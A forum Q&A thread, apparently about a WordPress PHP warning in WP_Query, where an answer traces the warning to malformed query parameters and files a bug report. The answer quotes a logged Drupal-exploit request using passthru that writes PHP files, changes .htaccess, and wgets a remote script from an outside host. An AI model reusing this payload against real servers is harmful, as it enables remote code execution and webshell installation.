I am running Wordpress 4.9.5 and occasionally see the following error in my logs.

E_WARNING: trim() expects parameter 1 to be string, array given

The stack trace looks like this, so it's not coming from custom theme code.

in trim called at /var/www/wordpress/html/wp-includes/class-wp-query.php (736)
…::parse_query called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (1621)
…ry::get_posts called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (3230)
in WP_Query::query called at /var/www/wordpress/html/wp-includes/class-wp.php (599)
in WP::query_posts called at /var/www/wordpress/html/wp-includes/class-wp.php (715)
in WP::main called at /var/www/wordpress/html/wp-includes/functions.php (960)
in wp called at /var/www/wordpress/html/wp-blog-header.php (16)
in require called at /var/www/wordpress/html/index.php (17)

Is this a known/unknown Wordpress bug and is there a fix for it?

  • Can you elaborate on what you mean by "bad code"? The stack trace is all pointing to core Wordpress code and no custom code of mine (e.g. in my functions.php or theme files) – crmpicco May 24 '18 at 3:47
  • @crmpicco Having the same problem, it's the WordPress core that messes up with certain requests: example.com/?q=/user/… Try this URL on your domain, should trigger the error. As far as I can tell this is a Drupal hack, but not sure. – iSenne Nov 21 '18 at 7:16
  • @iSenne I'm hoping Wordpress resolve it in a future release. – crmpicco Nov 21 '18 at 7:17
  • @crmpicco can this be reliably replicated on a clean WordPress install with no plugins using a default theme? – Nathan Johnson Nov 21 '18 at 15:01
  • Sometimes it's easier and better to take a step back and simply not comment when you don't have constructive input. – Howdy_McGee Nov 28 '18 at 4:56

I ran into this today. It's a bug. I filed a bug report here:


The problem is this line of code:

$qv['name'] = trim( $qv['name'] );

Source: https://github.com/WordPress/wordpress-develop/blob/a0ca5afd8977b5a3857084d9cb1bd345166e2f21/src/wp-includes/class-wp-query.php#L764

A (malicious) user sends a request that looks like:

GET /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!'> sites/default/files/vuln.php; echo 'Vuln!!'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'

Such a request makes $qv['name'] an array, not a string.

Needs to be sanitized.

protected by Community Nov 21 '18 at 13:29

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